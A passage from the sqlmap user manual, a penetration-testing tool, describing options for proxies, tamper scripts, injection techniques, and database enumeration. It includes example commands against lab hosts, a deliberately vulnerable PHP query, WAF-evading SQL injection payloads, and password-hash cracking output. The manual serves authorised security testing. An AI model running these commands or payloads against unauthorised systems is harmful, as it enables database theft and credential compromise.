<tt>-</tt><tt>-auth-cert</tt> - -<p> -This switch should be used in cases when the web server requires proper -client-side certificate for authentication. Supplied values should be in -the form: <tt>key_file,cert_file</tt>, where <tt>key_file</tt> should be -the name of a PEM formatted file that contains your private key, while -<tt>cert_file</tt> should be the name for a PEM formatted certificate -chain file. - - -<sect2>HTTP(S) proxy - -<p> -Switches: <tt>-</tt><tt>-proxy</tt>, <tt>-</tt><tt>-proxy-cred</tt>, -<tt>-</tt><tt>-ignore-proxy</tt> and <tt>-</tt><tt>-tor</tt> - -<p> -It is possible to provide an HTTP(S) proxy address to pass by the HTTP(S) -requests to the target URL. The syntax of HTTP(S) proxy value is -<tt>http://url:port</tt>. - -<p> -If the HTTP(S) proxy requires authentication, you can provide the -credentials in the format <tt>username:password</tt> to the -<tt>-</tt><tt>-proxy-cred</tt> switch. - -<p> -If, for any reason, you need to stay anonymous, instead of passing by a -single predefined HTTP(S) proxy server, you can configure a <htmlurl -url="http://www.torproject.org/" name="Tor client"> together with -<htmlurl url="http://www.privoxy.org" name="Privoxy"> (or similar) on -your machine as explained on the Tor client guide and use the Privoxy -daemon, by default listening on <tt>127.0.0.1:8118</tt>, as the sqlmap -proxy by simply providing the tool with the <tt>-</tt><tt>-tor</tt> -switch instead of <tt>-</tt><tt>-proxy</tt>. - -<p> -The switch <tt>-</tt><tt>-ignore-proxy</tt> should be used when you want -to run sqlmap against a target part of a local area network by ignoring -the system-wide set HTTP(S) proxy server setting. - - -<sect2>Delay between each HTTP request - -<p> -Switch: <tt>-</tt><tt>-delay</tt> - -<p> -It is possible to specify a number of seconds to hold between each HTTP(S) -request. The valid value is a float, for instance <tt>0.5</tt> means half -a second. -By default, no delay is set. - - -<sect2>Seconds to wait before timeout connection - -<p> -Switch: <tt>-</tt><tt>-timeout</tt> - -<p> -It is possible to specify a number of seconds to wait before considering -the HTTP(S) request timed out. The valid value is a float, for instance -10.5 means ten seconds and a half. -By default <bf>30 seconds</bf> are set. - - -<sect2>Maximum number of retries when the HTTP connection timeouts - -<p> -Switch: <tt>-</tt><tt>-retries</tt> - -<p> -It is possible to specify the maximum number of retries when the HTTP(S) -connection timeouts. By default it retries up to <bf>three times</bf>. - - -<sect2>Filtering targets from provided proxy log using regular expression - -<p> -Switch: <tt>-</tt><tt>-scope</tt> - -<p> -Rather than using all hosts parsed from provided logs with switch -<tt>-l</tt>, you can specify valid Python regular expression to be used -for filtering desired ones. - -Example of valid syntax: - -<tscreen><verb> -$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)" -</verb></tscreen> - - -<sect2>Avoid your session to be destroyed after too many unsuccessful requests - -<p> -Switches: <tt>-</tt><tt>-safe-url</tt> and <tt>-</tt><tt>-safe-freq</tt> - -<p> -Sometimes web applications or inspection technology in between destroys -the session if a certain number of unsuccessful requests is performed. -This might occur during the detection phase of sqlmap or when it exploits -any of the blind SQL injection types. Reason why is that the SQL payload -does not necessarily returns output and might therefore raise a signal to -either the application session management or the inspection technology. - -<p> -To bypass this limitation set by the target, you can provide two switches: - -<itemize> -<item><tt>-</tt><tt>-safe-url</tt>: Url address to visit frequently during -testing. -<item><tt>-</tt><tt>-safe-freq</tt>: Test requests between two visits to a -given safe url. -</itemize> - -<p> -This way, sqlmap will visit every a predefined number of requests a -certain <em>safe</em> URL without performing any kind of injection against -it. - - -<sect1>Optimization - -<p> -These switches can be used to optimize the performance of sqlmap. - - -<sect2>Bundle optimization - -<p> -Switch: <tt>-o</tt> - -<p> -This switch is an alias that implicitly sets the following switches: - -<itemize> -<item><tt>-</tt><tt>-keep-alive</tt> -<item><tt>-</tt><tt>-null-connection</tt> -<item><tt>-</tt><tt>-threads 3</tt> if not set to a higher value. -</itemize> - -<p> -Read below for details about each switch. - - -<sect2>Output prediction - -<p> -Switch: <tt>-</tt><tt>-predict-output</tt> - -<p> -This switch is used in inference algorithm for sequential statistical -prediction of characters of value being retrieved. Statistical table with -the most promising character values is being built based on items given in -<tt>txt/common-outputs.txt</tt> combined with the knowledge of current -enumeration used. In case that the value can be found among the common -output values, as the process progresses, subsequent character tables are -being narrowed more and more. If used in combination with retrieval of -common DBMS entities, as with system table names and privileges, speed up -is significant. Of course, you can edit the common outputs file according -to your needs if, for instance, you notice common patterns in database -table names or similar. - -<p> -Note that this switch is not compatible with <tt>-</tt><tt>-threads</tt> -switch. - - -<sect2>HTTP Keep-Alive - -<p> -Switch: <tt>-</tt><tt>-keep-alive</tt> - -<p> -This switch instructs sqlmap to use persistent HTTP(s) connections. - -<p> -Note that this switch is incompatible with <tt>-</tt><tt>-proxy</tt> -switch. - - -<sect2>HTTP NULL connection - -<p> -Switch: <tt>-</tt><tt>-null-connection</tt> - -<p> -There are special HTTP request types which can be used to retrieve -HTTP response's size without getting the HTTP body. This knowledge can be -used in blind injection technique to distinguish <tt>True</tt> from -<tt>False</tt> responses. When this switch is provided, sqlmap will try to -test and exploit two different <em>NULL connection</em> techniques: -<tt>Range</tt> and <tt>HEAD</tt>. -If any of these is supported by the target web server, speed up will come -from the obvious saving of used bandwidth. - -<p> -These techniques are detailed in the white paper -<htmlurl url="http://www.wisec.it/sectou.php?id=472f952d79293" -name="Bursting Performances in Blind SQL Injection - Take 2 (Bandwidth)">. - -<p> -Note that this switch is incompatible with <tt>-</tt><tt>-text-only</tt> -switch. - - -<sect2>Concurrent HTTP(S) requests - -<p> -Switch: <tt>-</tt><tt>-threads</tt> - -<p> -It is possible to specify the maximum number of concurrent HTTP(S) -requests that sqlmap is allowed to do. -This feature relies on the <htmlurl url="http://en.wikipedia.org/wiki/Multithreading" -name="multi-threading"> concept and inherits both its pro and its cons. - -<p> -This features applies to the brute-force switches and when the data -fetching is done through any of the blind SQL injection techniques. -For the latter case, sqlmap first calculates the length of the query -output in a single thread, then starts the multi-threading. Each thread is -assigned to retrieve one character of the query output. The thread ends -when that character is retrieved - it takes up to 7 HTTP(S) requests with -the bisection algorithm implemented in sqlmap. - -<p> -The maximum number of concurrent requests is set to <bf>10</bf> for -performance and site reliability reasons. - -<p> -Note that this switch is not compatible with -<tt>-</tt><tt>-predict-output</tt> switch. - - -<sect1>Injection - -<p> -These options can be used to specify which parameters to test for, provide -custom injection payloads and optional tampering scripts. - -<sect2>Testable parameter(s) - -<p> -Switch: <tt>-p</tt> - -<p> -By default sqlmap tests all <tt>GET</tt> parameters and <tt>POST</tt> -parameters. When the value of <tt>-</tt><tt>-level</tt> is >= <bf>2</bf> -it tests also HTTP <tt>Cookie</tt> header values. When this value is >= -<bf>3</bf> it tests also HTTP <tt>User-Agent</tt> and HTTP <tt>Referer</tt> -header value for SQL injections. -It is however possible to manually specify a comma-separated list of -parameter(s) that you want sqlmap to test. This will bypass the dependence -on the value of <tt>-</tt><tt>-level</tt> too. - -<p> -For instance, to test for GET parameter <tt>id</tt> and for HTTP -<tt>User-Agent</tt> only, provide <tt>-p id,user-agent</tt>. - - -<sect2>URI injection point - -<p> -There are special cases when injection point is within the URI itself. -sqlmap does not perform any automatic test against URI paths, unless -manually pointed to. -You have to specify these injection points in the command line by -appending an asterisk (<tt>*</tt>) after each URI point that you want -sqlmap to test for and exploit a SQL injection. - -<p> -This is particularly useful when, for instance, Apache web server's -<htmlurl url="http://httpd.apache.org/docs/current/mod/mod_rewrite.html" -name="mod_rewrite"> module is in use or other similar technologies. - -<p> -An example of valid command line would be: - -<tscreen><verb> -$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/" -</verb></tscreen> - - -<sect2>Force the database management system name - -<p> -Switch: <tt>-</tt><tt>-dbms</tt> - -<p> -By default sqlmap automatically detects the web application's back-end -database management system. -As of version <bf>0.9</bf>, sqlmap fully supports the following database -management systems: - -<itemize> -<item>MySQL -<item>Oracle -<item>PostgreSQL -<item>Microsoft SQL Server -<item>Microsoft Access -<item>SQLite -<item>Firebird -<item>Sybase -<item>SAP MaxDB -</itemize> - -<p> -If for any reason sqlmap fails to detect the back-end DBMS once a SQL -injection has been identified or if you want to avoid an active fingeprint, -you can provide the name of the back-end DBMS yourself (e.g. <tt>postgresql</tt>). -For MySQL and Microsoft SQL Server provide them respectively in the form -<tt>MySQL <version></tt> and <tt>Microsoft SQL Server <version> -</tt>, where <tt><version></tt> is a valid version for the DBMS; for -instance <tt>5.0</tt> for MySQL and <tt>2005</tt> for Microsoft SQL Server. - -<p> -In case you provide <tt>-</tt><tt>-fingerprint</tt> together with -<tt>-</tt><tt>-dbms</tt>, sqlmap will only perform the extensive -fingerprint for the specified database management system only, read below -for further details. - -<p> -Note that this option is <bf>not</bf> mandatory and it is strongly -recommended to use it <bf>only if you are absolutely sure</bf> about the -back-end database management system. If you do not know it, let sqlmap -automatically fingerprint it for you. - - -<sect2>Force the database management system operating system name - -<p> -Switch: <tt>-</tt><tt>-os</tt> - -<p> -By default sqlmap automatically detects the web application's back-end -database management system underlying operating system when this -information is a dependence of any other provided switch. -At the moment the fully supported operating systems are two: - -<itemize> -<item>Linux -<item>Windows -</itemize> - -<p> -It is possible to force the operating system name if you already know it -so that sqlmap will avoid doing it itself. - -<p> -Note that this option is <bf>not</bf> mandatory and it is strongly -recommended to use it <bf>only if you are absolutely sure</bf> about the -back-end database management system underlying operating system. If you do -not know it, let sqlmap automatically identify it for you. - - -<sect2>Custom injection payload - -<p> -Switches: <tt>-</tt><tt>-prefix</tt> and <tt>-</tt><tt>-suffix</tt> - -<p> -In some circumstances the vulnerable parameter is exploitable only if the -user provides a specific suffix to be appended to the injection payload. -Another scenario where these options come handy presents itself when the -user already knows that query syntax and want to detect and exploit the -SQL injection by directly providing a injection payload prefix and suffix. - -<p> -Example of vulnerable source code: - -<tscreen><verb> -$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1"; -</verb></tscreen> - -<p> -To detect and exploit this SQL injection, you can either let sqlmap detect -the <bf>boundaries</bf> (as in combination of SQL payload prefix and -suffix) for you during the detection phase, or provide them on your own. -For example: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" \ - -p id --prefix "')" --suffix "AND ('abc'='abc" -[...] -</verb></tscreen> - -<p> -This will result in all sqlmap requests to end up in a query as follows: - -<tscreen><verb> -$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1"; -</verb></tscreen> - -<p> -Which makes the query syntactically correct. - -<p> -In this simple example, sqlmap could detect the SQL injection and exploit -it without need to provide custom boundaries, but sometimes in real world -application it is necessary to provide it when the injection point is -within nested <tt>JOIN</tt> queries for instance. - - -<sect2>Tamper injection data - -<p> -Switch: <tt>-</tt><tt>-tamper</tt> - -<p> -sqlmap itself does no obfuscation of the payload sent, except for strings -between single quotes replaced by their <tt>CHAR()</tt>-alike -representation. - -<p> -This switch can be very useful and powerful in situations where there is -a weak input validation mechanism between you and the back-end database -management system. This mechanism usually is a self-developed input -validation routine called by the application source code, an expensive -enterprise-grade IPS appliance or a web application firewall (WAF). All -buzzwords to define the same concept, implemented in a different way and -costing lots of money, usually. - -<p> -To take advantage of this switch, provide sqlmap with a comma-separated -list of tamper scripts and this will process the payload and return it -transformed. You can define your own tamper scripts, use sqlmap ones from -the <tt>tamper/</tt> folder or edit them as long as you concatenate them -comma-separated as the argument of <tt>-</tt><tt>-tamper</tt> switch. - -<p> -The format of a valid tamper script is as follows: - -<tscreen><verb> -# Needed imports -from lib.core.enums import PRIORITY - -# Define which is the order of application of tamper scripts against the payload -__priority__ = PRIORITY.NORMAL - -def tamper(payload): - ''' - Description of your tamper script - ''' - - retVal = payload - - # your code to tamper the original payload - - # return the tampered payload - return retVal -</verb></tscreen> - -<p> -You can check valid and usable tamper scripts in the <tt>tamper/</tt> -directory. - -<p> -Example against a MySQL target assuming that <tt>></tt> character, -spaces and capital <tt>SELECT</tt> string are banned: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper \ - tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 - -[hh:mm:03] [DEBUG] cleaning up configuration parameters -[hh:mm:03] [INFO] loading tamper script 'between' -[hh:mm:03] [INFO] loading tamper script 'randomcase' -[hh:mm:03] [INFO] loading tamper script 'space2comment' -[...] -[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' -[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092 -[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057 -[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041 -[...] -[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' -[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar( -58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/ -ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/ -group/**/bY/**/x)a) -[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING -clause' injectable -[...] -</verb></tscreen> - - - -<sect1>Detection - -<p> -These options can be used to specify how to parse and compare page -content from HTTP responses when using blind SQL injection technique. - -<sect2>Level - -<p> -Switch: <tt>-</tt><tt>-level</tt> - -<p> -This switch requires an argument which specifies the level of tests to -perform. There are <bf>five</bf> levels. The default value is <bf>1</bf> -where limited number of tests (requests) are performed. Vice versa, level -<bf>5</bf> will test verbosely for a much larger number of payloads and -boundaries (as in pair of SQL payload prefix and suffix). -The payloads used by sqlmap are specified in the textual file -<tt>xml/payloads.xml</tt>. Following the instructions on top of the file, -if sqlmap misses an injection, you should be able to add your own -payload(s) to test for too! - -<p> -Not only this switch affects which payload sqlmap tries, but also which -injection points are taken in exam: GET and POST parameters are -<bf>always</bf> tested, HTTP Cookie header values are tested from level -<bf>2</bf> and HTTP User-Agent/Referer headers' value is tested from level -<bf>3</bf>. - -<p> -All in all, the harder it is to detect a SQL injection, the higher the -<tt>-</tt><tt>-level</tt> must be set. - -<p> -It is strongly recommended to higher this value before reporting to the -mailing list that sqlmap is not able to detect a certain injection point. - - -<sect2>Risk - -<p> -Switch: <tt>-</tt><tt>-risk</tt> - -<p> -This switch requires an argument which specifies the risk of tests to -perform. There are <bf>four</bf> risk values. The default value is -<bf>1</bf> which is innocuous for the majority of SQL injection points. -Risk value 2 adds to the default level the tests for heavy query -time-based SQL injections and value 3 adds also <tt>OR</tt>-based SQL -injection tests. - -<p> -In some instances, like a SQL injection in an <tt>UPDATE</tt> statement, -injecting an <tt>OR</tt>-based payload can lead to an update of all the -entries of the table, which is certainly not what the attacker wants. For -this reason and others this switch has been introduced: the user has -control over which payloads get tested, the user can arbitrarily choose -to use also potentially dangerous ones. -As per the previous switch, the payloads used by sqlmap are specified in -the textual file <tt>xml/payloads.xml</tt> and you are free to edit and -add your owns. - - -<sect2>Page comparison - -<p> -Switches: <tt>-</tt><tt>-string</tt>, <tt>-</tt><tt>-regexp</tt> and -<tt>-</tt><tt>-text-only</tt> - -<p> -By default the distinction of a <tt>True</tt> query by a <tt>False</tt> -one (rough concept behind boolean-based blind SQL injection vulnerabilities) -is done by comparing the injected requests page content with the original -not injected page content. -Not always this concept works because sometimes the page content changes at -each refresh even not injecting anything, for instance when the page has a -counter, a dynamic advertisement banner or any other part of the HTML which -is rendered dynamically and might change in time not only consequently to -user's input. -To bypass this limit, sqlmap tries hard to identify these snippets of the -response bodies and deal accordingly. Sometimes it may fail, that is why -the user can provide a string (<tt>-</tt><tt>-string</tt> switch) which is -<bf>always</bf> present on the not injected page <bf>and</bf> on all True -injected query pages, but that it is <bf>not</bf> on the False ones. As -an alternative to a static string, the user can provide a regular -expression (<tt>-</tt><tt>-regexp</tt> switch). - -<p> -Such data is easy for an user to retrieve, simply try to inject on the -affected parameter an invalid value and compare manually the original (not -injected) page content with the injected wrong page content. -This way the distinction will be based upon string presence or regular -expression match. - -<p> -In cases with lot of active content (e.g. scripts, embeds, etc.) in the -HTTP responses' body, you can filter pages (<tt>-</tt><tt>-text-only</tt> -switch) just for their textual content. This way, in a good number of -cases, you can automatically tune the detection engine. - - -<sect1>Techniques - -<p> -These options can be used to tweak testing of specific SQL injection -techniques. - - -<sect2>SQL injection techniques to test for - -<p> -Switch: <tt>-</tt><tt>-technique</tt> - -<p> -This switch can be used to specify which SQL injection type to test for. -By default sqlmap tests for <bf>all</bf> types/techniques it supports. - -<p> -In certain situations you may want to test only for one or few specific -types of SQL injection thought and this is where this switch comes into -play. - -<p> -This switch requires an argument. Such argument is a string composed by -any combination of <tt>B</tt>, <tt>E</tt>, <tt>U</tt>, <tt>S</tt> and -<tt>T</tt> characters where each letter stands for a different technique: - -<itemize> -<item><tt>B</tt>: Boolean-based blind SQL injection -<item><tt>E</tt>: Error-based SQL injection -<item><tt>U</tt>: UNION query SQL injection -<item><tt>S</tt>: Stacked queries SQL injection -<item><tt>T</tt>: Time-based blind SQL injection -</itemize> - -<p> -For instance, you can provide <tt>ES</tt> if you want to test for and -exploit error-based and stacked queries SQL injection types only. -The default value is <tt>BEUST</tt>. - -<p> -Note that the string must include stacked queries technique letter, -<tt>S</tt>, when you want to access the file system, takeover the -operating system or access Windows registry hives. - - -<sect2>Seconds to delay the DBMS response for time-based blind SQL injection - -<p> -Switch: <tt>-</tt><tt>-time-sec</tt> - -<p> -It is possible to set the seconds to delay the response when testing for -time-based blind SQL injection, by providing the -<tt>-</tt><tt>-time-sec</tt> option followed by an integer. -By default delay is set to <bf>5 seconds</bf>. - - -<sect2>Number of columns in UNION query SQL injection - -<p> -Switch: <tt>-</tt><tt>-union-cols</tt> - -<p> -By default sqlmap tests for UNION query SQL injection technique using 1 to -10 columns. However, this range can be increased up to 50 columns by -providing an higher <tt>-</tt>-<tt>level</tt> value. See the relevant -paragraph for details. - -<p> -You can manually tell sqlmap to test for this type of SQL injection with a -specific range of columns by providing the tool with the -<tt>-</tt><tt>-union-cols</tt> switch followed by a range of integers. For -instance, <tt>12-16</tt> means tests for UNION query SQL injection by -using 12 up to 16 columns. - - -<sect2>Character to use to test for UNION query SQL injection - -<p> -Switch: <tt>-</tt><tt>-union-char</tt> - -<p> -By default sqlmap tests for UNION query SQL injection technique using -<tt>NULL</tt> character. However, by providing an higher -<tt>-</tt>-<tt>level</tt> value sqlmap will performs tests also with a -random number because there are some corner cases where UNION query tests -with <tt>NULL</tt> fail whereas with a random integer they succeed. - -<p> -You can manually tell sqlmap to test for this type of SQL injection with a -specific character by providing the tool with the -<tt>-</tt><tt>-union-char</tt> switch followed by a string. - - -<sect1>Fingerprint - -<sect2>Extensive database management system fingerprint - -<p> -Switches: <tt>-f</tt> or <tt>-</tt><tt>-fingerprint</tt> - -<p> -By default the web application's back-end database management system -fingerprint is handled automatically by sqlmap. -Just after the detection phase finishes and the user is eventually -prompted with a choice of which vulnerable parameter to use further on, -sqlmap fingerprints the back-end database management system and carries -on the injection by knowing which SQL syntax, dialect and queries to use -to proceed with the attack within the limits of the database architecture. - -<p> -If for any instance you want to perform an extensive database management -system fingerprint based on various techniques like specific SQL dialects -and inband error messages, you can provide the -<tt>-</tt><tt>-fingerprint</tt> switch. sqlmap will perform a lot more -requests and fingerprint the exact DBMS version and, where possible, -operating system, architecture and patch level. - -<p> -If you want the fingerprint to be even more accurate result, you can also -provide the <tt>-b</tt> or <tt>-</tt><tt>-banner</tt> switch. - - -<sect1>Enumeration - -<p> -These options can be used to enumerate the back-end database management -system information, structure and data contained in the tables. Moreover -you can run your own SQL statements. - - -<sect2>Banner - -<p> -Switch: <tt>-b</tt> or <tt>-</tt><tt>-banner</tt> - -<p> -Most of the modern database management systems have a function and/or -an environment variable which returns the database management system -version and eventually details on its patch level, the underlying -system. Usually the function is <tt>version()</tt> and the environment -variable is <tt>@@version</tt>, but this vary depending on the target -DBMS. - - -<sect2>Session user - -<p> -Switch: <tt>-</tt><tt>-current-user</tt> - -<p> -On the majority of modern DBMSes is possible to retrieve the database -management system's user which is effectively performing the query against -the back-end DBMS from the web application. - - -<sect2>Current database - -<p> -Switch: <tt>-</tt><tt>-current-db</tt> - -<p> -It is possible to retrieve the database management system's database name -that the web application is connected to. - - -<sect2>Detect whether or not the session user is a database administrator - -<p> -Switch: <tt>-</tt><tt>-is-dba</tt> - -<p> -It is possible to detect if the current database management system session -user is a database administrator, also known as DBA. -sqlmap will return <tt>True</tt> if it is, viceversa <tt>False</tt>. - - -<sect2>List database management system users - -<p> -Switch: <tt>-</tt><tt>-users</tt> - -<p> -When the session user has read access to the system table containing -information about the DBMS users, it is possible to enumerate the list of -users. - - -<sect2>List and crack database management system users password hashes - -<p> -Switches: <tt>-</tt><tt>-passwords</tt> and <tt>-U</tt> - -<p> -When the session user has read access to the system table containing -information about the DBMS users' passwords, it is possible to enumerate -the password hashes for each database management system user. -sqlmap will first enumerate the users, then the different password hashes -for each of them. - -<p> -Example against a PostgreSQL target: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1 - -[...] -back-end DBMS: PostgreSQL -[hh:mm:38] [INFO] fetching database users password hashes -do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y -[hh:mm:42] [INFO] using hash method: 'postgres_passwd' -what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] -[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt' -do you want to use common password suffixes? (slow!) [y/N] n -[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd) -[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser' -[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres' -database management system users password hashes: -[*] postgres [1]: - password hash: md5d7d880f96044b72d0bba108ace96d1e4 - clear-text password: testpass -[*] testuser [1]: - password hash: md599e5ea7a6f7c3269995cba3927fd0093 - clear-text password: testpass -</verb></tscreen> - -<p> -Not only sqlmap enumerated the DBMS users and their passwords, but it also -recognized the hash format to be PostgreSQL, asked the user whether or not -to test the hashes against a dictionary file and identified the clear-text -password for the <tt>postgres</tt> user, which is usually a DBA along the -other user, <tt>testuser</tt>, password. - -<p> -This feature has been implemented for all DBMS where it is possible to -enumerate users' password hashes, including Oracle and Microsoft SQL -Server pre and post 2005. - -<p> -You can also provide the <tt>-U</tt> option to specify the specific user -who you want to enumerate and eventually crack the password hash(es). -If you provide <tt>CU</tt> as username it will consider it as an alias for -current user and will retrieve the password hash(es) for this user. - - -<sect2>List database management system users privileges - -<p> -Switches: <tt>-</tt><tt>-privileges</tt> and <tt>-U</tt> - -<p> -When the session user has read access to the system table containing -information about the DBMS users, it is possible to enumerate the -privileges for each database management system user. -By the privileges, sqlmap will also show you which are database -administrators. - -<p> -You can also provide the <tt>-U</tt> option to specify the user who you -want to enumerate the privileges. - -<p> -If you provide <tt>CU</tt> as username it will consider it as an alias for -current user and will enumerate the privileges for this user. - -<p> -On Microsoft SQL Server, this feature will display you whether or not each -user is a database administrator rather than the list of privileges for -all users. - - -<sect2>List database management system users roles - -<p> -Switches: <tt>-</tt><tt>-roles</tt> and <tt>-U</tt> - -<p> -When the session user has read access to the system table containing -information about the DBMS users, it is possible to enumerate the -roles for each database management system user. - -<p> -You can also provide the <tt>-U</tt> option to specify the user who you -want to enumerate the privileges. - -<p> -If you provide <tt>CU</tt> as username it will consider it as an alias for -current user and will enumerate the privileges for this user. - -<p> -This feature is only available when the DBMS is Oracle. - - -<sect2>List database management system's databases - -<p> -Switch: <tt>-</tt><tt>-dbs</tt> - -<p> -When the session user has read access to the system table containing -information about available databases, it is possible to enumerate the -list of databases. - - -<sect2>Enumerate database's tables - -<p> -Switches: <tt>-</tt><tt>-tables</tt>, <tt>-D</tt> and -<tt>-</tt><tt>-exclude-sysdbs</tt> - -<p> -When the session user has read access to the system table containing -information about databases' tables, it is possible to enumerate -the list of tables for a specific database management system's databases. - -<p> -If you do not provide a specific database with switch <tt>-D</tt>, sqlmap -will enumerate the tables for all DBMS databases. - -<p> -You can also provide the <tt>-</tt><tt>-exclude-sysdbs</tt> switch to -exclude all system databases. - -<p> -Note that on Oracle you have to provide the <tt>TABLESPACE_NAME</tt> -instead of the database name. - - -<sect2>Enumerate database table columns - -<p> -Switches: <tt>-</tt><tt>-columns</tt>, <tt>-C</tt>, <tt>-T</tt> and <tt>-D</tt> - -<p> -When the session user has read access to the system table containing -information about database's tables, it is possible to enumerate the list -of columns for a specific database table. -sqlmap also enumerates the data-type for each column. - -<p> -This feature depends on the option <tt>-T</tt> to specify the table name -and optionally on <tt>-D</tt> to specify the database name. When the -database name is not specified, the current database name is used. -You can also provide the <tt>-C</tt> option to specify the table columns -name like the one you provided to be enumerated. - -<p> -Example against a SQLite target: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns \ - -D testdb -T users -C name -[...] -Database: SQLite_masterdb -Table: users -[3 columns] -+---------+---------+ -| Column | Type | -+---------+---------+ -| id | INTEGER | -| name | TEXT | -| surname | TEXT | -+---------+---------+ -</verb></tscreen> - -<p> -Note that on PostgreSQL you have to provide <tt>public</tt> or the -name of a system database. That's because it is not possible to enumerate -other databases tables, only the tables under the schema that the web -application's user is connected to, which is always aliased by -<tt>public</tt>. - - -<sect2>Enumerate database management system schema - -<p> -Switches: <tt>-</tt><tt>-schema</tt> - -<p> -TODO - - -<sect2>Retrieve number of entries for table(s) - -<p> -Switches: <tt>-</tt><tt>-count</tt> - -<p> -TODO - - -<sect2>Dump database table entries - -<p> -Switches: <tt>-</tt><tt>-dump</tt>, <tt>-C</tt>, <tt>-T</tt>, <tt>-D</tt>, -<tt>-</tt><tt>-start</tt>, <tt>-</tt><tt>-stop</tt>, <tt>-</tt><tt>-first</tt> -and <tt>-</tt><tt>-last</tt> - -<p> -When the session user has read access to a specific database's table it is -possible to dump the table entries. - -<p> -This functionality depends on switch <tt>-T</tt> to specify the table -name and optionally on switch <tt>-D</tt> to specify the database name. -If the table name is provided, but the database name is not, the current -database name is used. - -<p> -Example against a Firebird target: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users -[...] -Database: Firebird_masterdb -Table: USERS -[4 entries] -+----+--------+------------+ -| ID | NAME | SURNAME | -+----+--------+------------+ -| 1 | luther | blisset | -| 2 | fluffy | bunny | -| 3 | wu | ming | -| 4 | NULL | nameisnull | -+----+--------+------------+ -</verb></tscreen> - -<p> -This switch can also be used to dump all tables' entries of a provided -database. You simply have to provide sqlmap with the <tt>-</tt><tt>-dump</tt> -switch along with only the <tt>-D</tt> switch, no <tt>-T</tt> and no -<tt>-C</tt>. - -<p> -You can also provide a comma-separated list of the specific columns to -dump with the <tt>-C</tt> switch. - -<p> -sqlmap also generates for each table dumped the entries in a CSV format -textual file. -You can see the absolute path where sqlmap creates the file by providing a -verbosity level greater than or equal to <bf>1</bf>. - -<p> -If you want to dump only a range of entries, then you can provide switches -<tt>-</tt><tt>-start</tt> and/or <tt>-</tt><tt>-stop</tt> to respectively -start to dump from a certain entry and stop the dump at a certain entry. -For instance, if you want to dump only the first entry, provide -<tt>-</tt><tt>-stop 1</tt> in your command line. Vice versa if, for -instance, you want to dump only the second and third entry, provide -<tt>-</tt><tt>-start 1</tt> <tt>-</tt><tt>-stop 3</tt>. - -<p> -It is also possible to specify which single character or range of characters -to dump with switches <tt>-</tt><tt>-first</tt> and <tt>-</tt><tt>-last</tt>. -For instance, if you want to dump columns' entries from the third to the -fifth character, provide <tt>-</tt><tt>-first 3</tt> <tt>-</tt><tt>-last -5</tt>. -This feature only applies to the blind SQL injection techniques because for -error-based and UNION query SQL injection techniques the number of requests -is exactly the same, regardless of the length of the column's entry output -to dump. - -<p> -As you may have noticed by now, sqlmap is <bf>flexible</bf>: you can leave -it to automatically dump the whole database table or you can be very -precise in which characters to dump, from which columns and which range of -entries. - - -<sect2>Dump all databases tables entries - -<p> -Switches: <tt>-</tt><tt>-dump-all</tt> and <tt>-</tt><tt>-exclude-sysdbs</tt> - -<p> -It is possible to dump all databases tables entries at once that the -session user has read access on. - -<p> -You can also provide the <tt>-</tt><tt>-exclude-sysdbs</tt> switch to -exclude all system databases. In that case sqlmap will only dump entries -of users' databases tables. - -<p> -Note that on Microsoft SQL Server the <tt>master</tt> database is not -considered a system database because some database administrators use it -as a users' database. - - -<sect2>Search for columns, tables or databases - -<p> -Switches: <tt>-</tt><tt>-search</tt>, <tt>-C</tt>, <tt>-T</tt>, <tt>-D</tt> - -<p> -This switch allows you to <bf>search for specific database names, specific -tables across all databases or specific columns across all databases' -tables</bf>. - -<p> -This is useful, for instance, to identify tables containing custom -application credentials where relevant columns' names contain string like -<em>name</em> and <em>pass</em>. - -<p> -The switch <tt>-</tt><tt>-search</tt> needs to be used in conjunction with -one of the following support switches: - -<itemize> -<item><tt>-C</tt> following a list of comma-separated column names to look -for across the whole database management system. -<item><tt>-T</tt> following a list of comma-separated table names to look -for across the whole database management system. -<item><tt>-D</tt> following a list of comma-separated database names to -look for across the database management system. -</itemize> - - -<sect2>Run custom SQL statement - -<p> -Switches: <tt>-</tt><tt>-sql-query</tt> and <tt>-</tt><tt>-sql-shell</tt> - -<p> -The SQL query and the SQL shell features allow to run arbitrary SQL -statements on the database management system. -sqlmap automatically dissects the provided statement, determines which -technique is appropriate to use to inject it and how to pack the SQL -payload accordingly. - -<p> -If the query is a <tt>SELECT</tt> statement, sqlmap will retrieve its -output. -Otherwise it will execute the query through the stacked query SQL -injection technique if the web application supports multiple statements on -the back-end database management system. 